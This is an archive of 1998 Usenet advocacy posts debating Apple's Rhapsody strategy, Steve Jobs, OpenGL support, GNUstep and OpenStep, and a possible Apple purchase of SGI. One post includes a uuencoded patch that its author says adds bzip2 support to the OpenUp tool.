back in if needed. That would give Rhapsody a large choice of 3d APIs.
Do you expect Steve to write the OpenGL code himself? :)
>Maybe Apple can make a lot more QuickTime 3.0 noise and blow more smoke
>over the issue. I don't think anybody will be fooled, though. I think
Have you used QT3? I was impressed that it can stream video files over
http without a special server. I found this out when I downloaded the
Win98 demo crash.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 21 Apr 1998 04:50:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jo9ck.q17.sal@panix3.panix.com>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net> <slrn6jdjt5.3u2.sal@panix3.panix.com> <6h734m$6s$2@ns3.vrx.net> <slrn6jk4vg.rln.sal@panix3.panix.com> <6hf2ce$bmt$1@ns3.vrx.net> <pxpst2-2004981045410001@pelli.pathology.pitt.edu>
On Mon, 20 Apr 1998 10:45:41 -0500, Peter <pxpst2@vms.spam.suxs.cis.pitt.edu> wrote:
>I think that Sal was not entirely correct. Once Unix passes 20 processors
>then it(the OS/Hardware interface) has very different needs. Unicos is
Palmtop to teraflop is an overstatement. I do know that one of the reasons
why the company I work for buys Solaris and Sun "Big Iron" is its ability
to scale up to very large workloads without having to do major recodeing.
(you might in many cases, but often you can just move the data over,
reconfig and edit the DNS entries.)
The current crop of G3s has only three PCI slots, it is hardly "Big Iron"
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 21 Apr 1998 04:42:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jo8u2.q17.sal@panix3.panix.com>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net> <slrn6jdjt5.3u2.sal@panix3.panix.com> <6h734m$6s$2@ns3.vrx.net> <slrn6jk4vg.rln.sal@panix3.panix.com> <6hf2ce$bmt$1@ns3.vrx.net>
On 20 Apr 1998 08:52:30 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <slrn6jk4vg.rln.sal@panix3.panix.com> Salvatore Denaro claimed:
>> If you want to sell Unix to the Fortune 500, you have to show that it can
>> scale from desktop to teraflop.
> Is that true?
Have you ever been in a meeting where you were told that 500+ new users
would be using your server next month? If I only had stock in Starbucks
coffee...
> I think a great deal of Unix is being "sold" into the web
>serving enviornment where small boxes is the solution.
True. And WO will attack a lot of buisness for Apple, assuming the
price is right. But Apple needs something on the high end, of a deal
where Rhapsody will run on bigger boxes than the G3 minitowers.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody where and how
Date: 22 Apr 1998 15:26:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6js31r.61p.sal@panix3.panix.com>
References: <01bd6d65$c5432b80$04387880@test1>
On 21 Apr 1998 22:50:14 GMT, Todd Heberlein <todd@NetSQ.com> wrote:
>o Will Apple simply sell Rhapsody for x86 through its on-line store?
Why not?
>o Will Apple license Rhapsody for x86 to computer manufacturers (e.g.,
>Compaq)?
The real question is "Will anyone sign up for a Rhapsody/pc license?"
Why would Compaq risk getting MS angry?
>o Will Apple strike any deals to have OpenStep bundled with systems
>shipping with NT (e.g., Compaq NT system)?
This deal would have to be done with MS. MS gets upset when you add
software to thier system without permission (Remember NetScape?)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Wed, 22 Apr 1998 21:21:49 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <353EA5BD.2B34E97A@nstar.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <TheLidlessEyeTh-2104982351350001@digital-00-54.hou.neoworld.net> <353E6B86.33C6@CONVEX.COM> <353E772C.C4EBCA59@milestonerdl.com>
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> > For God's sake, you can play Quake on a
> > Newton.
>
> Errrr....that was an April Fools joke. Like the DOOM joke the year before.
Doh, I was so afraid of that. Oh, well, have a good laugh at me. :)
MJP
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 22 Apr 1998 20:08:47 GMT
Organization: Indiana University, Bloomington
Message-ID: <6hliof$f8n$1@jetsam.uits.indiana.edu>
References: <199801202218001457904@ppp8.hol.fr> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimension <slrn6jo9po.q17.sal@panix3.panix.com>
In article <slrn6jo9po.q17.sal@panix3.panix.com>,
Salvatore Denaro <sal@panix3.panix.com> wrote:
>On 20 Apr 1998 17:18:01 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>>"Python code ... Not as elegant as C++"
>>Sheesh, maybe Damien Hurst is producing Art after all.
>
>If you are talking about the [con] artist that paints rows of colored
>dots on a plain white canvas and tries to pass it off as art, then
>I think his name is Damien Hirst. Deep insite into the feelings of
>loneliness and desperation. Yeah right.
My brother told me about a display he saw at the University of Minnesota
art museum called "Red Plank". It was a red plank. A very nice, smooth,
uniform plank, and it was red, and it was leaning against the wall.
Hmm...
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Wed, 22 Apr 1998 15:02:02 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <353E4CBA.AA8A65F4@nstar.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM> <6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM> <6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net> <6hjvg9$ru7$4@news.xmission.com>
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Don Yacktman wrote:
> Um, could it be that "this is war"? Handing your warplan to the enemy for
> critiquing is not usually considered to be a beneficial practice. Could that
> be part of it? Hmmm?
Well, Don, it could also be that "war" is a lame metaphor for what's
happening, since "war" is a struggle between two parties. If you view
Apple's struggle as fundamentally between it and Microsoft, or it and
Sun, or it and some other bogeyman, frankly, I think you have little
sense of the nature of business.
If that doesn't make any sense to you, consider that "leaking" to
warplan to customers and would-be customer just might make sense in this
"war". Like I said, it's a stupid metaphor.
[cut]
> Fact is that we do know at least one of their objectives: survive. We have
> no idea how Jobs plans to get there, nor do we know for sure if he has any
> other hidden agendas beyond Apple's survival. Most would agree that to
> survive, Apple needs to at least (a) show a profit and (b) return to growth.
> If they can't do both, they are no longer viable and will either throw in the
> towel themselves or spend several years fizzling into oblivion. (And both
> have to be sustained, which means that the jury is going to be out for a long
> time.)
Can you explain why a single person on this planet would bother with
Apple Computer if the scenario you describe above were actually true?
Imagine the sales pitch: "We're committed to survival."
I don't get the sense that anybody here from the NeXT world understands
business and markets any better than the Mac bigots who preceded them.
What's worst about it is that most NeXT people seem to have grown into
the mold all by themselves, transformed from (largely) normal
intelligent people into cheering, whooping fans, complete with
shibboleth, slogans, and these fantastic "war" metaphors.
Sure, it's Reality Distortion Field at work, but when people say that
the chief end of a particular established company is to "show a profit
and return to growth", I get really worried that nobody in this day and
age actually understands cause and effect. For instance, hint: before
you show a profit, you have to sell product. Before you return to
growth, you have to stop shrinking.
> I'd say that Jobs' moves to date, love them or hate them, have been primarily
> addressing (a). They may or may not be the best moves toward (a), but when
> he makes a decision, he _does_ have information that we don't have access to.
> I sure hope he's using it well. (There's no way to be sure, and the only
> "proof" of how good the decisions are is to wait and see if Apple makes it.)
Oh, sure! Which is why all of you non-partisans waited around to see if
Amelio's Apple "made it", right?
> Let's also hope that announcements at WWDC and new product announcements for
> the rest of the year start to show more of (b) before the "Game Over" lights
> flick on.
>
> Aside: I can't help but wonder if Apple dropping the Newton isn't sort of
> like the way an animal that's caught in a trap will gnaw off it's leg to get
> away. Did Jobs see a hunter coming? The whole thing reeks of survival
> tactics to me. Note that the animal will sorely miss that leg later...but is
> it better to be alive with three legs or dead with four?
[sigh] I don't understand this metaphor, either. I mean, if Newton had
been tying Apple to anything in particular except a large base of
customer, I suppose it would make some sense. As it is, it seems like
more rationalization to me.
Perhaps a more appropriate metaphor would be Hamlet, wherein one man was
slain to make room for another, i.e. Newton wasn't Jobs' idea but he
*can* claim credit for MacOS Lite or whatever other abomination is in
the pipeline for unsuspecting PDA users.
But actually, I *do* like this animal metaphor, because it's a worthy
symbol of Apple's apparent decision to sacrifice the "technical
superiority" leg in favor of survival. The question, again, becomes "why
does anyone want to have anything to do with a company that acts this
way?"
MJP
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 23 Apr 1998 02:46:30 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6hma26$3cm$1@quasar.dimensional.com>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <6heag2$18l$1@quasar.dimensional.com> <6hhjh3$57p$18@ironhorse.plsys.co.uk> <6hjpvq$gpi$4@quasar.dimensional.com> <6hk7t4$fgu$1@bartlet.df.lth.se>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6hk7t4$fgu$1@bartlet.df.lth.se> , Christian Brunschen <cb@bartlet.df.lth.se> wrote:
>>> OK, Ken, pretend I'm really ignorant... please enlighten me, as the Master
>>> might enlighten the Grasshopper by bending over to tighten his sandal, let me
>>> know that is the relationship between NextStep and GNUStep.
>>> Let us also pretend that I do not have access to the WWW, so, unfortunate
>>> individual that I am, I cannot look at any URLs that you might care to refer
>>> me to; how much better anyway to hear the words like pearldrops -- or any
>>> other brand of tooth whitener for that matter -- from your own sweet lips.
>>I'll ignore this sarcasm... <grin>
>>Well, Mmalc, someone was questioning why, if NextStep is proprietary
>>software, can GNUStep then clone it. I explaned that OpenStep, what
>>NextStep adheres to IS an open standard, and that anyone is free to use it,
>>so long as they don't use copyrighted NextStep code...
> Ahh .. you are confusing things.
No, I'm not.
> NEXTSTEP (the final capitalization used for that product) was never an
> open standard; the open standard, developed by NeXT and Sun in
> cooperation, and based upon NEXTSTEP, was given the name OpenStep. NeXT's
> implementation of this open standard is called OPENSTEP (not the
> capitalization); it is based directly on the code base of NEXTSTEP, but
> implements the OpenStep standard.
OpenStep has two meanings. There's the published specs, which are open, and
there's the software. The OpenStep operating environment/system from sun,
unless OpenSource, is proprietary software, as well is NEXTSTEP. Thus,
GNUStep would be the first OpenSouce (non-proprietary) implimentation of
OpenStep API.
NeXT, as a company, is not in liberty to prevent GNUStep development.
> So, the only 'relation' there is between NEXTSTEP and GNUstep, is that
> NEXTSTEP was the ancestor of the OpenStep standard, and that GNUstep is an
> attempt to implement said standard (OpenStep), without basing this
> implementation on NeXTs OPENSTEP codebase.
Which is why NeXT can't prevent GNUStep's development, the initial question
at hand.
>>And so, you ask... what NextStep has to do with this... and this is the
>>answer...
> ... and you were, alas, mistaken.
No, I'm not. You are either misinterpeting what I'm saying (English is not
a strong point for me), or you are mistake. It looks to me that you and I
have the same understanding of the situation, and merely have a
communication problem.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Wed, 22 Apr 1998 16:37:53 -0400
Organization: THe Small & Mighty Group
Message-ID: <rex-2204981637540001@192.168.0.3>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu> <353D0E82.77CB@CONVEX.COM>
In article <353D0E82.77CB@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
:Apple is not and never has been a member of the OpenGL ARB. If anything
:has been slowing adoption of OpenGL, it is companies that drag their
:feet and pretend to have an alternative strategy ("we're just not
:telling anyone yet what it is!").
Yep, as soon as Apple decided that they no longer wanted to push QD 3D,
they should have been screaming about their new found OpenGL interest.
They also should have been looking at ways of providing a high-level
interface for OpenGL similar to QD 3D's and also gotten 3DMF into much
better shape.
:I don't understand the point you're trying to make here. The movers and
:shakers of the 3D industry are OpenGL in terms of API, 3DLabs,
:AccelGraphics, Oxygen, Evans&Sutherland and others in hardware, and the
:8 members of the OpenGL ARB in vision and direction.
IMO, since the NeXT acquisition Apple has basically given up any
pretenses of competing in the 3D arena.
:It *is* designed for high-end CAD, visualization, modelling, art, and
:other professional 3D applications, and it does a fantastic job running
:such software as SoftImage, Alias/Wavefront, and 3D Studio Max.
Visualization is one of the fastest growing graphics markets, and
Apple's basically absent from it.
:Jobs impedes 3D.
Yep, Apple needs strong partnerships to succeed in 3D, and there aren't
even any *rumors* of any. We've really heard nothing from Jobs on this
issue, yet the 3D market is one of the best places to sell high-end
high-margin Apple hardware. To be honest, I don't think he has a game plan
and is just ignoring the issue.
: I can see zero logic in using Rhapsody for professional
:computer-assisted design work (one of the principle markets for desktop
:high-end workstations, the very market Apple claims to be targeting for
:Rhapsody).
Aside from a CAD app, have there been any 3D apps announced for
Rhapsody? I know Electric Image is far too busy with their new (and very
late) Modeler and their NT version to bother with a port. Strata's rolling
out an NT version of StudioPro also. Lightwave is a bit more interesting
and useful on the NT side than the Mac. Hash, Infini-D, & Raydream all
have Windows versions. Amapi runs on just about everything. That really
only leaves VIDI, Silver Software(?), and Pixels as Mac-only 3D vendors.
Unfortunately these are just the kinds of small vendors that Apple loves
to screw over.
:Maybe Apple can make a lot more QuickTime 3.0 noise and blow more smoke
:over the issue. I don't think anybody will be fooled, though. I think
:they're just going to take QuickTime 3.0 and run it on their NT
:machines.
Part of the problem with Apple's current game plan is that they're
assuming developers will want to support the Yellow Box to move across
platforms. The big flaw in this is that most of the big or important
developers have already moved cross-platform or are in the process of
doing so. Rhapsody just offers a way to support a small part of a
dwindling market.
-Eric
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 22 Apr 1998 16:26:28 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6hljpk$i9e$1@crib.bevc.blacksburg.va.us>
References: <199801202218001457904@ppp8.hol.fr> <6gunnn$4m9$6@quasar.dimension <slrn6jo9po.q17.sal@panix3.panix.com> <6hliof$f8n$1@jetsam.uits.indiana.edu>
In article <6hliof$f8n$1@jetsam.uits.indiana.edu>, glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> My brother told me about a display he saw at the University of Minnesota
> art museum called "Red Plank". It was a red plank. A very nice, smooth,
> uniform plank, and it was red, and it was leaning against the wall.
I'm getting ready to take the art world by storm with my
soon-to-be-unveiled "Blue Plank". It'll be worth millions.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Wed, 22 Apr 1998 16:46:28 -0400
Organization: THe Small & Mighty Group
Message-ID: <rex-2204981646280001@192.168.0.3>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net>
In article <6hk9r4$ga7$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
:In <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> Rex Riley claimed:
:> What does it buy them?
:
: A LOT of things...
:
:a) high end hardware design, something Apple currently doesn't have
The sad thing is that SGI's *low-end* hardware design is so much nicer
than anything Apple has out currently or in the works. 2gig/s sustained
memory bandwidth, oi!
:b) a customer list perfectly suited to Apple's strengths
To some extent. Most of SGIs income comes from CAD, data visualization,
and server sales, not content creation. These are markets that Apple has
never been able to enter, and its questionable as to whether they'd be
able to *keep* these markets.
:c) a "stream" of consistant offerings from "low end" to "big iron"
: that they can offer to customers
Which would take years to fully integrate. The last thing Apple needs
is any more restructuring or attempts merge technology. They'd be better
entering an agreement that would bundle a high-end Mac with a low to
mid-range SGI. Disney was actually shipping such a bundle for previs a
while back for ~100k.
:d) OpenGL from the masters
True, it would get Apple some great hardware and software, but it would
still take ages to integrate.
:e) a VERY strong message in the content creation AND content providing
: areas
That SGI is in worse shape than anyone thought...
-Eric
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 22 Apr 1998 21:47:01 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6hmdjl$4oa$1@xmission.xmission.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM> <6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM> <6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net> <6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net> <6hlrk8$fkf$1@xmission.xmission.com> <353E7FE2.219@CONVEX.COM>
Michael Peck <ECK@CONVEX.COM> wrote:
: Kristofer Jon Magnusson wrote:
: >
: > Michael Peck <mjpeck@nstar.net> wrote:
: >
: > : Don Yacktman wrote:
: >
: > : I don't get the sense that anybody here from the NeXT world understands
: > : business and markets any better than the Mac bigots who preceded them.
: >
: > That's a pretty interesting opinion to hold.
: >
: > Don, the object of your attack, has facilitated the development and
: > distribution of components that have saved businesses countless hours of
: > development and maintenance time.
: So he's a fabulous developer. Your point was...?
That you have no manners.
.........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: If Rhapsody is alive...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu> <see-below-2204982044230001@209.24.241.227>
Message-ID: <353ebd6e.0@news.depaul.edu>
Date: 23 Apr 98 04:02:54 GMT
In comp.sys.next.advocacy Matthew Vaughan <see-below@not-my-address.com> wrote:
> In article <353ea292.0@news.depaul.edu>, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
<My blathering snupped>
> But not least, any "major push" will be futile if there aren't any
> applications to speak of. I know there's a small cadre of OpenStep
> developers with good stuff to offer, but I doubt that will be nearly
> enough to sway very many customers. Right now Apple doesn't need to sell
> it to end users so much as they need to sell it to developers.
True, but perhaps less so for buyers looking at Rhapsody as a server.
That said, I am concerned about how quiet c.s.n.programmer, next-prog,
and rhapsody-dev have been. I've seen some new faces, but not very
many at all. If there was a lot of rhapsody development (or preparation
for same) going on, I'd expect to see more participation.
- Jon
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Amelio on Be vs. NeXT
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Message-ID: <353ebdf1.0@news.depaul.edu>
Date: 23 Apr 98 04:05:05 GMT
From the transcript of an ABC News web chat with Amelio:
Robert David Torres from adm.schoolofvisualarts.edu at 3:30pm ET
How different Apple would have been if it had purchased Be instead of
NeXT (and Steve Jobs) and based its upcoming OS on the BeOS?
Gil Amelio at 3:33pm ET
Well, first, I would have had a job. Second, we would've had to be
comfortable with the reality that it was going to take three more years
to get the BeOS to a state of maturity. Almost two years has past since
that decision, and Be has made great progress. In another year, they
will probably have a really great operating system. My ambition was to
move faster than that, and my goal was to have a fully implemented
version of Rhapsody ready for consumer release by July 1998.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody G3 support
Date: Wed, 22 Apr 1998 22:14:16 -0700
Organization: Trilithon Research and Trading
Message-ID: <353ECE28.64C9F96@trilithon.com>
References: <6hl5a1$keq$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
stefan2@home.com wrote:
* Anyone know if Rhapsody does/will
* support the G3 architecture? Rumor?
* Fact?
Duuuuuuhhhhhhhhhhhhh . . . .
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: tom@basil.icce.dev.rug.null.nl (Tom Hageman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 22 Apr 1998 17:41:07 GMT
Organization: Warty Wolfs
Sender: news@basil.icce.dev.rug.null.nl (NEWS pusher)
Message-ID: <ErsD90.EyC@basil.icce.dev.rug.null.nl>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <slrn6joflf.n9p.jason@jhste1.dyn.ml.org>
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Scott Anguish wrote:
>
> > My 'compression standard' is to use the pre-existing
> >components (gnutar/gzip) on Rhapsody and do it that way. I doubt very
> >much that anyone is going to attempt to put forward any closed
> >compression 'standard' on Rhapsody.
>
> You should support bzip2 also - it's an emerging standard that outdoes
> gzip by about 20%.
OpenUp is a GUI shell that calls the standard commandline tools to do the real
work. Adding bzip2 support to it was a 5-minute no-brainer.
(Assuming bzip2 is already compiled and installed separately, of course).
[Here is the patch to prove it :-]
begin 644 TRH_OpenUp-1.01_Filetypes_bz2,shar.patch.gz
M'XL(`(G6%C4"`]57;6_B1A#^#+]BBHXJ)'X'$B"ZJ@XX%TM@(S"7T_7%LF$!
MWX'MVB:A2>^_=]:\8R>%$U%;A(1W=Y[9F6>?F34#9S@$MB\%M[__PE[\;,KL
M9XM]^@WX:.KSND_<GF]*O&XN'EG1%$1S:H:FP*]F.$%DPZ"?&+>LKV3H3`CP
M]U[P]6#S[/GY^0EWS[0\%QJD#U`!2:J5*[5R"<1J]2K+LNR1H<6^;HD-4A$$
ML294:D6!^JK0F+<_H"F?C*ZAM,V&7E?KNM:%]S#P^K,I<:.0BRCG\3!.5BHQ
MTA507!P3'58`G]@LI'[2'+TT_/4D/B[^G3@0DQV\F3X78\[I>^Z86`,2'*B&
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M.-35*[CE;H7KU;[KWJQJ74-N-AMJ!W&Y=V=W>DLI\++OA[FD<4M6-4V]0<OU
MU+*V7,=>F[<;NMG3U$_F34]M-@Q=;R+@'468'5TW>(W,HP9Y(!//)P%O.RX_
MQ;L%X?38*+%7^XW_OTOLRSA:S]^WX9/T7;C<LAWD_O<Z>+OV15]@PKKG#IT1
MYT^<\-`NEL"=J)DE_&:,\2SN::((0K4FE&O%ZK$]+>ETK[65:^7+EUM;261*
MI<W%AL-+:;L@-S7VO/5.5/>FL=+PB)_W7I6XD3M#;7*H3:JMQ0A^1*$[OD\&
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MONV,*+LFV:J[LY4[9BM@9COKPHZ#Q\"B>YEX[XP":TH9.UO8,O;,Q4#V[&DR
MECN@P>;S]QVYW58:9KNC?^C(+2PM[;/:EO)YK!?(YV_5IH+/?T'2\H/6,^0.
M-9Q[6%V;%.EY7AQUGDOJ5J111AC`0G;!)A&>!@W9#T@8$Q2-+1=&:`IG]BP"
MS-JV[,F?$$Z\1Q(4CJ3Z(#9/1>-/RT=-;BGLO6K<Z3W#I!,F]C!%ZZJZMIYN
MR\9=/I^[3B$5TDC-R9UZG&"($G;[#D[OT#;T@JD540FK-RUHU[?:<"HU'$H7
M+=(*6A0N&5&H;DI:Q']78K&X?\NF43F;#<B#0QX+.[N_RF6OUU`^JLH])=,!
M=@"L!^P?P$9K8H_07BX<D\ED4^W^Q')04YCY%D/TDLF]KAPNOH[_03<SEUH=
:(9N>UKU;U-1P)[FEF/&WD/T;CQX205P0````
`
end
[Yes, I've already submitted this to Mr. Anguish...]
--
__/__/__/__/ Tom Hageman <tom@basil.icce.dev.rug.null.nl> [NeXTmail/Mime OK]
__/ __/_/ IC Group <tom@dev.icgroup.null.nl> (work)
__/__/__/ <<SPAMBLOCK: remove dev. and null. to reply>>
__/ _/_/ Confused? You won't be after the NeXT episode.
From: thockett@usit.net (Ty Hockett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Tue, 21 Apr 1998 22:16:48 -0400
Organization: United States Internet, Inc.
Message-ID: <thockett-2104982216480001@100.222.111.100>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net>
Speaking of Merced, any preliminary reports on how G4's will benchmark
compared to Merced? I know that clock cycles should be similar (for all
that's worth).
In article <6hints$99c$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <01bd6d64$7b8394e0$04387880@test1> "Todd Heberlein" claimed:
> > SGI had announced plans for an entry-level NT box on x86 hardware for
> > about nine months ago, so SGI will be joining Digital and HP as major
> > UNIX vendors who support NT on x86 hardware.
>
> Digital is a major Unix vendor? Don't they have about 5% of that already
> small market? Don't get me wrong, I'm not down on DEC Unix, but saying that
> DEC is a major player in the Sun/SGI/HP market seems odd.
>
> However it's worth noting that it appears quite likely that the final CR1
> of Rhapsody will be rather OSF/1-ish. That would make it one of the easier
> machines to port to, of the selected set of new-CPU/new-Unixen.
>
> > SGI also (I believe) has announced that it will port its IRIX operating
> > system to the Merced hardware, joining virtually every UNIX vendor who
> > has announced Merced support. There have also been several reports of
> > Apple's plan to support Rhapsody on Merced.
>
> Why doesn't Apple just BUY SGI? The match is too good.
>
> Maury
--
Ty Hockett
Macintosh Systems Administrator
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 23 Apr 1998 01:49:42 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6jt7hm.oce.mbkennel@lyapunov.ucsd.edu>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com>
On Tue, 21 Apr 1998 15:14:07 -0400, Sam Kass <samkass@samkass.com> wrote:
:I think its premature to comment on whether Jobs will turn out to have
:been a good CEO, as none of his plans have come to fruitition yet.
Tevanian as head of software, and Rubenstein as head of hardware.
Online store, and "store within a store."
And re-hiring chiat/day.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Thu, 23 Apr 1998 01:07:33 -0400
Organization: THe Small & Mighty Group
Message-ID: <rex-2304980107330001@192.168.0.3>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu> <353D0E82.77CB@CONVEX.COM> <rex-2204981637540001@192.168.0.3> <353E67F5.7976@CONVEX.COM>
In article <353E67F5.7976@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
:Exactly. The question isn't "Can we reasonably imagine that Apple has
:*some* sort of objective in mind, and are there feasible technology
:buzzwords present at Apple that rumor sites can conjecture about?"
:
